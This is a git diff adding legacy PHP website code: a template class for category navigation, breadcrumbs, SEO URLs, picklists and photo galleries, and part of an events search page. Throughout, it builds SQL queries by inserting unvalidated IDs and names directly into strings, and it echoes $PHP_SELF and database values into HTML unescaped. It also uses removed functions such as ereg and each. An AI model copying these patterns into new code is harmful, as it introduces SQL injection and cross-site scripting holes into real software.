+                               $dates = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+                               $descr = $value['descr'];
+                               $output .= "<div id=\"homeevent\">
+                                       <div id=\"homeeventtext\">
+                                               <h2>$header</h2>
+                                               <strong>$dates</strong>
+                                               <p>$descr</p>
+                                               <div class=\"homeeventmore\"><a href=\"events.phtml?eventid=$id\">details..</a></div>
+                                       </div>
+                               </div>";
+                       }
+                       return($output);
+               }
+       }
+
+       /**
+       * get_event_date: make the event date human readable
+       * @param $sdate: start date
+       * @param $edate: end date
+       * @param $dateType: dateType Postgres,etc
+       * 
+       * @return string  
+       * @access 
+       **/
+       function get_event_date($sdate,$edate,$dateType)
+       {
+               switch($dateType)
+               {
+                       case "Postgres":
+                               if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$sdate,$spt))
+                               {
+                                       $mon = $spt[1];
+                                       $day = $spt[2];
+                                       $yr = $spt[3];
+                               }
+
+                       if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$edate,$ept))
+                       {
+                               $mon2 = $ept[1];
+                               $day2 = $ept[2];
+                               $yr2 = $ept[3];
+                       }
+                       break;
+
+                       case "timestamp":
+                               $mon = date("m",$sdate);
+                       $day = date("d",$sdate);
+                       $yr = date("Y",$sdate);
+                       $mon2 = date("m",$edate);
+                       $day2 = date("d",$edate);
+                       $yr2 = date("Y",$edate);
+                       break;
+
+               }$start = mktime(0,0,0,$mon,$day,$yr);
+               $end = mktime(0,0,0,$mon2,$day2,$yr2);
+               if ($day == $day2 && $mon == $mon2 && $yr == $yr2) 
+               {
+                       $dateparam = "F jS, Y"; 
+                       $date_begin = date($dateparam, $start) ;
+                       $date_end = "";
+               }
+               elseif ($day == $day2 AND $mon == $mon2 AND $yr != $yr2) 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($day != $day2 AND $mon == $mon2 AND $yr == $yr2) 
+               {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($day != $day2 AND $mon == $mon2 AND $yr != $yr2) 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($yr == $yr2) 
+               {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               else 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+
+               return($date_begin." ".$date_end);
+       }
+
+       /**
+       * is_sub_id:Check to see if catid is sub of category
+       * @param $catid: the catid looking at 
+       * @param $category: to see if it is in category
+       * @param $DB: Db object reference
+       * 
+       * @return bool 
+       * @access 
+       **/
+       function is_sub_id($catid,$category,&$DB)
+       {
+               if($category==$catid)
+               {
+                       return(true);
+               }
+               $query = "select id,parent from bus_category where id = $catid";
+               $data = $DB->db_auto_get_data($query);
+               $parent = $data[0]['parent'];
+               if($parent == 0)
+               {
+                       return(false);
+               }
+               else
+               {
+                       return( GLM_TEMPLATE::is_sub_id($parent,$category,&$DB) );      
+               }
+       }
+
+       /**
+       * get_parent: get parent for this category
+       * @param $catid: id 
+       * @param $DB: database obj
+       * 
+       * @return int $parent
+       * @access 
+       **/
+       function get_parent($catid,&$DB)
+       {
+               $query = "SELECT parent FROM bus_category WHERE id = $catid ORDER BY pos";      
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       if( $data[0]["parent"] == 0 )
+                       {
+                               return( $catid );
+                       }
+                       else
+                       {
+                               return( $data[0]["parent"] );
+                               //return(GLM_TEMPLATE::get_parent($data[0]["parent"],&$DB));
+                       }
+
+               }
+               else
+               {
+                       return(false);
+               }
+       }
+
+       /**
+       * get_sub_nav:
+       * @param $catid: 
+       * @param $DB: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function get_sub_nav($catid,&$DB)
+       {
+               $parentid = GLM_TEMPLATE::get_parent($catid,&$DB);
+               //echo $parentid.'<br>';
+               $query = "SELECT id,category FROM bus_category WHERE active = 't' and parent = $parentid ORDER BY pos"; 
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $output = '<div id="subnav">';
+                               $counter = 1;   
+                               foreach($data as $key=>$val)
+                               {
+                                       if(GLM_TEMPLATE::is_sub_id($catid,$parentid,&$DB) && (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) || $val['id'] == $catid) )
+                                       {
+                                               $output .=  '<a class="current" href="'.$GLOBALS["PHP_SELF"].'?catid='.$val["id"].'">';
+                                       }
+                                       else
+                                       {
+                                               $output .=  '<a href="'.$GLOBALS["PHP_SELF"].'?catid='.$val["id"].'">';
+                                       }
+                                       $output .=  $val["category"];
+                                       $output .=  '</a>';     
+                                       if( GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) && GLM_TEMPLATE::has_subs($val['id'],&$DB))
+                                       {
+                                               $output .= GLM_TEMPLATE::get_sub_nav($val["id"],&$DB,$catid);
+                                       }       
+                               }       
+                               $output .= '</div>';
+                       $output = GLM_TEMPLATE::clean_text($output);
+                       echo $output;
+               }
+               return(false);
+       }
+
+       /**
+       * has_subs:
+       * @param $catid: 
+       * @param $DB: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function has_subs($catid,&$DB)
+       {
+               $query = "SELECT id FROM bus_category WHERE active = 't' and parent = $catid ORDER BY pos";     
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       return(true);
+               }
+               else
+               {
+                       return(false);
+               }
+       }
+
+
+       /**
+       * get_parentid:Get the parent id for the category.
+       * @param $id: The catid for the page.
+       * @param $DB: obj
+       * 
+       * @return int $parent 
+       * @access 
+       **/
+       function get_parentid($id,&$DB,$levels = NULL)
+       {
+               if( $id == 0 )
+               {
+                       return( 0 );            
+               }
+               $qs = "select parent from bus_category where id = $id";
+               $parentrow = $DB->db_auto_get_data( $qs );        
+               if($parentrow[0]['parent'] == 0)
+               {
+                       return($id);
+               }
+               else
+               {
+                       return( GLM_TEMPLATE::get_parentid($parentrow[0]['parent'],&$DB) );
+               }
+       }
+
+       /**
+       * show_catimg:output the category image.
+       * @param $catid: The catid for the page.
+       * 
+       * @return void 
+       * @access 
+       **/
+       function show_catimg($catid)
+       {
+               $query = "SELECT image FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0]["image"]!="")
+               {
+                       $img = '<img src="'.MIDSIZED.$data[0]["image"].'" border="0" vspace="30" hspace="0">';
+               }
+               else
+               {
+                       $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+               }
+               echo $img;
+               echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+       }
+
+
+       /**
+       * get_catheader:output the category name.
+       * @param $catid: The catid for the page
+       * @param $DB: db obj 
+       * 
+       * @return void 
+       * @access 
+       **/
+       function get_catheader($catid,$DB)
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $DB->db_auto_get_data($query);
+               if($data[0]['category']!="")
+               {
+                       $header = strip_tags($data[0]['category']);
+               }
+               else
+               {
+                       $header = '';
+               }
+               return( $header );
+       }
+
+       /**
+       * show_catheader:
+       * @param $catid: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function show_catheader($catid)
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0][category]!="")
+               {
+                       $header = $data[0][category];
+               }
+               else
+               {
+                       $header = '&nbsp;';
+               }
+               echo $header;
+       }
+
+       /**
+       * get_menu_string:get categories for the phplayermenu
+       * 
+       * @return string 
+       * @access 
+       **/
+       function get_menu_string()
+       {
+               $query = "SELECT id,parent,category FROM bus_category where active = 't' ORDER BY parent,pos";
+               $data = $this->DB->db_auto_get_data($query);
+               $newdata = GLM_TEMPLATE::sort_childs($data);
+               $string = GLM_TEMPLATE::convert_to_thread($newdata,$newdata[0]);
+               return($string);
+       }
+
+       /**
+       * sort_childs:
+       * @param $threads: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function sort_childs($threads)
+       {
+               foreach($threads as $var=>$value)
+               {
+                       $childs[$value["parent"]][$value["id"]] = $value;
+               }
+               return($childs);
+       }
+
+       /** !WARNING this is modified to only show the first two levels
+       * convert_to_thread:
+       * @param $threads: 
+       * @param $thread: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function convert_to_thread($threads, $thread)
+       {    
+               static $count;
+               foreach($thread as $parent=>$value)
+               {
+                       $p = $this->get_base_url( $value['id'] );
+                       $this->whole_thread .= str_repeat(".",$this->thread_count);
+                       $this->whole_thread .= "|".$value[category];
+                       $category = $this->get_seo_url( $value['id'] );
+                       $this->whole_thread .= "|".URL_BASE."$p/$category";
+                       $this->whole_thread .="\n";
+                       if($threads[$parent])
+                       {       
+                               if( $this->thread_count <= 1 )
+                               {
+                                       $this->thread_count++;
+                                       GLM_TEMPLATE::convert_to_thread($threads, $threads[$parent]);
+                               }
+                       }
+               }
+
+               $count++;
+               $this->thread_count--;
+               return $this->whole_thread;
+       }
+
+       /**
+       * get_ancesters:get the ancesters for this category
+       * @param $catid: catid
+       * @param $count: starting counter
+       * 
+       * @return array 
+       * @access 
+       **/
+       function get_ancesters($catid,$count)
+       {
+               if($catid)
+               {
+                       $query = "SELECT        id,category,parent 
+                       FROM    bus_category
+                       WHERE   id = ".$catid."
+                       AND             active = 't'";
+                       $res = $this->DB->db_auto_get_data($query);
+                       $id = $res[0]['id'];
+                       $parent = $res[0]['parent'];
+                       $category = $res[0]['category'];
+                       $this->ancesters[$count]['id'] = $id;
+                       $this->ancesters[$count]['label'] = $category;
+
+                       $url = $this->get_seo_url($id);
+                       $this->ancesters[$count]['link'] = $this->get_base_url($id)."/$url";
+                       GLM_TEMPLATE::get_ancesters($parent,$count+1,$conn);
+
+                       return (array_reverse($this->ancesters) );
+               }
+       }
+
+       /**
+       * print_ancesters:print out the ancesters
+       * @param $catid: the id to start at.
+       * 
+       * @return 
+       * @access 
+       **/
+       function print_ancesters($catid)
+       {
+               $string = GLM_TEMPLATE::get_ancesters($catid,0);
+               if(is_array($string))
+               {
+                       if(count($string) > 1)
+                       $outarray[] = '<a href="'.BASE_URL.'index.phtml">Home</a>';
+                       if( strstr( $GLOBALS['PHP_SELF'], 'news.phtml' ) )
+                       {
+                               $end = count($string);
+                       }
+                       else
+                       {
+                               $end = count($string) - 1;
+                       }
+                       for($i=0;$i<$end;$i++)
+                       {
+                               /*
+                               if( $i == count( $string ) - 1 )
+                               {
+                                       $outarray[] = $string[$i]['label'];     
+                               }
+                               else
+                               {
+                               */
+                                       $outarray[] = '<a href="'.BASE_URL.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';        
+                               //}     
+                       }       
+                       if( is_array( $outarray ) && count( $outarray ) > 1 )
+                       {
+                               $out .= implode( " <b>&raquo;</b> ", $outarray );
+                       }
+               }
+               return( '<div id="breadcrumbs">'.$out.'</div>' );
+       }
+
+       /**
+       * build_picklist:
+       * @param $fieldname: 
+       * @param $data: 
+       * @param $selected: 
+       * @param $$type = "standard": 
+       * @param $$auto = 0: 
+       * @param $$width = NULL : 
+       * 
+       * @return 
+       * @access 
+       **/
+       function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+       {
+               if(!is_array($selected))
+               {
+                       $sel[0] = $selected;
+               }
+               else
+               {
+                       $sel = $selected;
+               }
+               if($auto == 1)
+               {
+                       $autosubmit = "onChange=\"form.submit()\"";
+               }
+               if($width)
+               {
+                       $autosubmit .= "style=\"width:".$width."px;\"";
+               }
+               switch( $type )
+               {
+                       case "multiple":
+                       $str = "<SELECT NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       if( in_array($key,$sel) )
+                                       {
+                                               $select = " SELECTED ";
+                                       }
+                                       else
+                                       {
+                                               $select = "";
+                                       }
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+                       case "simple":
+                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               for( $i=0 ; $i<count($data) ; $i++ ) 
+                               {
+                                       $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                               }
+                               break;
+
+                               case "standard":
+                       default:
+                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       $select = (in_array($key,$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                       break;
+                       }
+                       $str .= "</SELECT>\n";
+               return( $str );
+       }
+
+       /**
+       * keyword_replace:
+       * @param $string: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function keyword_replace($string)
+       {
+               //return($string);
+               $page = "main.phtml";
+               if($search = strstr($string,"{"))
+               {
+                       if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+                       {
+                               if($needle[0] != "")
+                               {               
+                                       $qs = "SELECT   id,category
+                                       FROM            bus_category
+                                       WHERE   trim(keyword) = '".trim($needle[1])."'";
+
+                                       $keyres = $this->DB->db_auto_get_data($qs);                                     
+                                       $parent = $this->get_parentid($keyres[0]['id'],&$this->DB);
+                                       $page = $this->get_base_url( $keyres[0]['id'] );
+                                       $page_name = $this->get_seo_url( $keyres[0]['id'] );
+                                       $replacement = "<a href=\"".URL_BASE.$page.'/'.$page_name."\">".$keyres[0]['category']."</a>";
+                                       $string = str_replace($needle[0],$replacement,$string);
+                               }
+                       }               
+                       else{
+                               return($string);
+                       }
+                       if($search = strstr($string,"{"))
+                       return($this->keyword_replace($string));
+               }       
+               return($string);        
+       }
+       /**
+       * getIdFromName:
+       * @param $name: 
+       * @param $table: 
+       * @param $DB: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function get_id_from_name( $name, $table, &$DB)
+       {
+               if( $name == "" )
+               {
+                       return( 0 );
+               }
+               if( is_numeric( $name ) )
+               {
+                       return( $name );
+               }
+               if( ereg("(.*)/$",$name,$tmp) )
+               {
+                       $name = $tmp[1];
+               }
+               if( $table == "topic" )
+               {
+                       $category = "descr";
+               }
+               elseif( $table == "postype" )
+               {
+                       $category = "postypedata";
+               }
+               else
+               {
+                       $category = "category";
+               }
+               
+               if( ereg("_([0-9]*)$",$name,$tmp ) )
+               {
+                       $id = $tmp[1];
+                       return( $id );
+               }
+               $name = str_replace( "-"," ",$name );
+               $query = "select id from $table where trim(lower( replace( replace( replace( replace( replace($category,'/','') ,'-',' ') ,'#','') ,'&','') ,'?',''))) = '".trim(strtolower($name))."'";
+               $data = $DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       foreach( $data as $key=>$val )
+                       {
+                               $catid = $val['id'];
+                       }
+                       return( $catid );
+               }
+               else
+               {
+                       return( 0 );
+               }
+       }
+
+       function get_base_url( $id )
+       {
+               if( $this->pages[$id] )
+               {
+                       return( $this->pages[$id] );
+               }
+               else
+               {
+                       return( $this->pages['default'] );
+               }
+       }
+
+       /**
+       * get_seo_url: this calls the needed function all in one to create a seo url
+        * @param $$id : 
+        * 
+        * @return 
+        * @access 
+        **/
+       function get_seo_url( $id, $slash = 1 )
+       {
+               $url = GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_name( $id, "bus_category", $this->DB ) ); 
+               $url = strip_tags( $url );
+               $url = htmlspecialchars( $url );
+               if( $slash )
+               {
+                       $url .= '/';
+               }
+               return( $url );
+       }
+       /**
+       * getCategoryName:
+       * @param $id: 
+       * @param $table: 
+       * @param $&$DB : 
+       * 
+       * @return 
+       * @access 
+       **/
+       function get_category_name( $id, $table,&$DB )
+       {
+               if( !is_numeric( $id ) )
+               {
+                       return( false );
+               }
+               if($table == "topic")
+               {
+                       $category = "descr";
+               }
+               else
+               {
+                       $category = "category";
+               }
+               $query = "select $category from $table where id = $id";
+               $data = $DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       $query2 = "select id from $table where category = '".addslashes( trim( $data[0]['category'] ) )."'";
+                       $data2 = $DB->db_auto_get_data( $query2 );
+                       //echo "count of data2 = ".count($data2)."<br>";
+                       //if( count($data2) > 1 )
+                       //{
+                               $add = '-'.$id;
+                       //}
+                       if( $data[0]['category'] ) 
+                       {
+                               $category = $data[0]['category'].$add;
+                       }
+                       elseif( $data[0]['name'])
+                       {
+                               $category = $data[0]['name'];
+                       }
+                       else
+                       {
+                               $category = $id; 
+                       }
+                       return( $category );
+               }
+       }
+
+
+       /**
+       * setNameUrl:
+       * @param $$name : 
+       * 
+       * @return 
+       * @access 
+       **/
+       function set_name_url( $name )
+       {
+               $name = strtolower( trim( str_replace( " ","-",$name ) ) );
+               $name = str_replace( "/","",$name );
+               $name = str_replace( "#","",$name );
+               $name = str_replace( "&","",$name );
+               $name = str_replace( "?","",$name );
+               return( trim($name) );
+       }
+
+       /**  valid email
+       Checks for a valid format and good (mx check) 
+       email address.
+       @param string email the email address as string.
+       @return boolean 
+       */ 
+       function valid_email( $email ) 
+       { 
+               if(!$email)
+               {
+                       return( false );
+               }
+               if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$", $email, $check)) { 
+                       if ( getmxrr(substr(strstr($check[0], '@'), 1), $validate_email_temp) ) { 
+                               return TRUE; 
+                       } 
+               } 
+               return FALSE; 
+       }
+/**
+        * getEventSearch:
+        * 
+        * @return 
+        * @access 
+        **/
+       function get_event_search()
+       {
+
+               unset($emonts);
+               $month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+
+               // Set up the $selection array to get a query box use only item fields
+               $selection = array( );
+
+               // Month part do not change
+               $qs = "SELECT   bdate,date_part('month', bdate) as d1_month,
+               date_part('month', edate) as d2_month,
+               date_part('year', bdate) as d1_year,
+               date_part('year', edate) as d2_year
+                       FROM    event
+                       WHERE   edate > CURRENT_DATE
+                       AND     visable = 't'
+                       ORDER BY bdate ASC;";
+
+               $result = $this->DB->db_exec($qs);
+
+               echo "<br><a name=\"event\"></a>
+                       <form action=\"".$GLOBALS['PHP_SELF']."#event\" method=\"POST\">";
+               //echo '<input type="hidden" name="catid" value="48">';
+               for($i=0;$i<pg_numrows($result);$i++) {
+                       $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC); 
+                       $s_month = $data['d1_month'];
+                       $s_year = $data['d1_year'];
+                       $e_month = $data['d2_month'];
+                       $e_year = $data['d2_year'];
+
+                       $watchdog = 20; 
+                       for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; ) {
+                               if( $m == 13 ) {
+                                       $y++;
+                                       $m = 1;
+                               }
+
+                               $emonth = sprintf( "%02d %04d", $m, $y );
+                               if( !isset($emonths["$emonth"]) )
+                                       $emonths["$emonth"] = 0;
+                               $emonths["$emonth"]++;
+
+                               if( $watchdog-- == 0 )
+                                       break 1;
+                               $m++;
+                       }
+               }
+
+               // Selections part
+               while( list($key,$value) = each($selection)) {
+                       $qs = "SELECT  
+                               DISTINCT $key
+                               FROM    event
+                               WHERE   visable = 't'
+                               AND             edate >= CURRENT_DATE
+                               ORDER BY $key;";
+
+                       $result = $this->DB->db_exec($qs);
+
+                       echo "<select name=\"$key\">
+                               <option value=\"All\" selected>Show All $value\n";
+
+                       for ($i=0;$i<pg_numrows($result);++$i) {
+                               $data = pg_result($result,$i,$key);
+                               if($data != "") {
+                                       echo "<option value=\"$data\">$data\n"; 
+                               }
+                       }
+
+                       echo "</select>\n";
+               }
+               // topic part 
+               $qs = "SELECT   
+                       DISTINCT        ON (t.descr) t.id,t.descr  
+                       FROM    topic t, event e
+                       WHERE   e.visable = 't'
+                       AND             e.edate >= CURRENT_DATE
+                       AND             e.topicid = t.id        
+                       ORDER BY t.descr";
+
+               $result = $this->DB->db_exec($qs);
+
+               echo "<select name=\"topic\">
+                       <option value=\"All\" selected>Show All Topics\n";
+
+               for ($i=0;$i<pg_numrows($result);++$i) {
+                       $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC);
+                       if($data != "") {
+                               echo "<option value=\"$data[id]\">$data[descr]\n"; 
+                       }
+               }
+
+               echo "</select>\n";
+               // Month part (output)
+               $month_qs = "SELECT 
+                       DISTINCT        bdate
+                       FROM            event
+                       WHERE           visable = 't'
+                       AND             edate >= CURRENT_DATE
+                       ORDER BY        bdate;";        
+
+                       $result = $this->DB->db_exec($month_qs);
+
+               echo "<select name=\"month\">";
+               if(isset($emonths) && is_array($emonths)) {
+                       for(reset($emonths);$key=key($emonths);next($emonths)) {
+                               $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+                               $now = mktime(0,0,0,date("m"),1,date("Y"));
+                               if($date>=$now) {
+                                       echo "<option value=\"$key\">";
+                                       $m = substr( $key, 0, 2 );
+                                       echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+                               }
+                       }
+               }
+               echo '</select>
+                       <input type="SUBMIT" value="GO" name="SUBMIT">
+                       </form>';
+       }
+
+
+
+       /**
+        * format_to_time:
+        * @param $time: 
+        * 
+        * @return 
+        * @access 
+        **/
+       function format_to_time($time)
+       {
+
+               $timestamp = strtotime("today $time");
+               $newtime = date("g:i A",$timestamp); 
+               return($newtime);
+       }
+
+       function getPhotoCats($catid)
+       {
+               $output = '';
+               /*
+               $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       foreach($data as $key=>$value)
+                       {
+                               if($value['category'])
+                                       $output .= '<h1>'.$value["category"].'</h1>';
+                       }
+               }
+               */
+               $output .= '<p>Click an image to enter a Photo Gallery</p>';
+
+               $query2 = "SELECT * FROM bus_category WHERE parent = ".$catid." and active = 't' order by pos";
+               $data2 = $this->DB->db_auto_get_data($query2);
+               if(is_array($data2))
+               {
+                       $count = 0;
+                       foreach($data2 as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       $category = $this->get_seo_url(  $value['id'] );
+                                       $output .= '<div class="thumb"><div
+                                               class="photocattitle">'.$value["category"].'</div><a href="'.BASE_URL.'gallery/'.$category.'"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a></div>';
+                               }
+                               if(++$count == 4)
+                                       $output .= '<br clear="all">';
+                       }
+               }
+               return($output);
+       }
+       function getPhotos($catid)
+       {
+               $output = '';
+               $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       foreach($data as $key=>$value)
+                       {
+                               if($value['category'])
+                                       $output .= '<h1>'.$value["category"].'</h1>
+                                       ';
+                       }
+               }
+               $output .= '<p>Click an image to enlarge</p>
+               ';
+
+               $query2 = "SELECT       b.name,b.image FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON
+                       (bcb.busid = b.id) WHERE bcb.catid = $catid order by bcb.pos";
+               $data2 = $this->DB->db_auto_get_data($query2);
+               if(is_array($data2))
+               {
+                       $count = 0;
+                       foreach($data2 as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       if(file_exists(ORIGINAL_PATH.$value['image']))
+                                       {
+                                               $size2 = getimagesize(ORIGINAL_PATH.$value['image']);
+                                               $width = $size2[0] + 0;
+                                               $height = $size2[1] + 0;
+                                       }
+                                       $output .= '<div class="thumb"><a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$value['image'].'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a><div class="phototitle">'.$value["name"].'</div></div>
+                                       ';
+                               }
+                               if(++$count == 4)
+                               {
+                                       $output .= '<br clear="all">
+                                       ';
+                               $count = 0;
+                               }
+                       }
+               }
+               return($output);
+       }
+}
+?>
diff --git a/classes/class_toolbox.inc b/classes/class_toolbox.inc
new file mode 100755 (executable)
index 0000000..22ab55b
--- /dev/null
@@ -0,0 +1,9 @@
+<?php
+// $Id: class_toolbox.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+class GLM_TOOLBOX 
+       {
+               function GLM_TOOLBOX()
+               {
+               }
+       }
+?>
diff --git a/classes/glm-Events-2-0.phtml b/classes/glm-Events-2-0.phtml
new file mode 100755 (executable)
index 0000000..46cfa17
--- /dev/null
@@ -0,0 +1,321 @@
+<?php
+/******************************************************************************
+ *
+ *     $Id: glm-Events-2-0.phtml,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+ *
+ ******************************************************************************
+ *
+ * Gaslight Media Toolbox output                                              
+ * glm-Events-2-0                                                             
+ * copyright 2001                                                             
+ * Author:Steve Sutton                                                        
+ *
+ ******************************************************************************/
+/******************************************************************************
+ *
+ * Instructions -                                                             
+ * three arrays are used                                                      
+ * $row[$i][fields]                                                           
+ * $date_begin[$i][fields]                                                    
+ * $date_end[$i][fields]                                                      
+ *
+ ******************************************************************************/
+//include("setup.phtml");
+echo '<link rel="stylesheet" type="text/css" href="events.css">';
+if(!$dbd = db_connect())
+       {
+               html_error(DB_ERROR_MSG,1);
+       }
+$month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+// Set up the $selection array to get a query box use only item fields
+$selection = array( );
+// Month part do not change
+$qs = "SELECT  bdate,date_part('month', bdate) as d1_month,
+       date_part('month', edate) as d2_month,
+       date_part('year', bdate) as d1_year,
+       date_part('year', edate) as d2_year
+       FROM    event
+       WHERE   edate > CURRENT_DATE
+       AND     visable = 't'
+       AND     (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+       ORDER BY bdate ASC;";
+       $result = db_Exec($dbd,$qs);
+if(!$result) 
+       {
+               html_error(DB_ERROR_MSG.$qs,0);
+       }
+echo "<br><a name=\"event\"></a>";
+if($pink)
+       {
+       echo "<h1>Pink Pony Events</h1>";
+       }
+echo "<form action=\"$PHP_SELF#event\" method=\"POST\">";
+echo '<input type="hidden" name="catid" value="11">';
+for($i=0;$i<pg_numrows($result);$i++) 
+       {
+               $data = db_fetch_array($result,$i,PGSQL_ASSOC); 
+               $s_month = $data['d1_month'];
+               $s_year = $data['d1_year'];
+               $e_month = $data['d2_month'];
+               $e_year = $data['d2_year'];
+               $watchdog = 20; 
+               for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; ) 
+               {
+                       if( $m == 13 ) 
+                       {
+                               $y++;
+                               $m = 1;
+                       }
+                       $emonth = sprintf( "%02d %04d", $m, $y );
+                       if( !isset($emonths["$emonth"]) )
+                       {
+                               $emonths["$emonth"] = 0;
+                       }
+                       $emonths["$emonth"]++;
+                       if( $watchdog-- == 0 )
+                       {
+                               break 1;
+                       }
+                       $m++;
+               }
+       }
+// Selections part
+while( list($key,$value) = each($selection))
+       {
+               $qs = "SELECT  
+                       DISTINCT $key
+                       FROM    event
+                       WHERE   visable = 't'
+                       AND             (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+                       AND             edate >= CURRENT_DATE
+                       ORDER BY $key;";
+               $result = db_exec($dbd,$qs);
+               if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+               echo "<select name=\"$key\">
+                       <option value=\"All\" selected>Show All $value\n";
+
+               for ($i=0;$i<pg_numrows($result);++$i)
+               {
+                       $data = pg_result($result,$i,$key);
+                       if($data != "")
+                       {
+                               echo "<option value=\"$data\">$data\n"; 
+                       }
+               }
+
+               echo "</select>\n";
+       }
+// topic part 
+$qs = "SELECT  
+DISTINCT       ON (t.descr) t.id,t.descr  
+FROM   topic t, event e
+WHERE  e.visable = 't'
+AND            e.edate >= CURRENT_DATE
+AND            e.topicid = t.id        
+AND            (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ORDER BY t.descr";
+$result = db_exec($dbd,$qs);
+if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+echo "<select name=\"topic\">
+<option value=\"All\" selected>Show All Topics\n";
+
+for ($i=0;$i<pg_numrows($result);++$i)
+       {
+               $data = db_fetch_array($result,$i,PGSQL_ASSOC);
+               if($data != "")
+               {
+                       echo "<option value=\"$data[id]\">$data[descr]\n"; 
+               }
+       }
+
+echo "</select>\n";
+// Month part (output)
+$month_qs = "SELECT 
+DISTINCT       bdate
+FROM           event
+WHERE          visable = 't'
+AND            edate >= CURRENT_DATE
+AND            (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ORDER BY       bdate;";        
+
+$result = db_exec($dbd, $month_qs);
+if(!$result) html_error(DB_ERROR_MSG.$month_qs,0);
+echo "<select name=\"month\">
+<option value=\"All\" selected>Show All Months\n";
+if(isset($emonths) && is_array($emonths)) 
+       {
+               for(reset($emonths);$key=key($emonths);next($emonths)) 
+               {
+                       $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+                       $now = mktime(0,0,0,date("m"),1,date("Y"));
+                       if($date>=$now)
+                       {
+                               echo "<option value=\"$key\">";
+                               $m = substr( $key, 0, 2 );
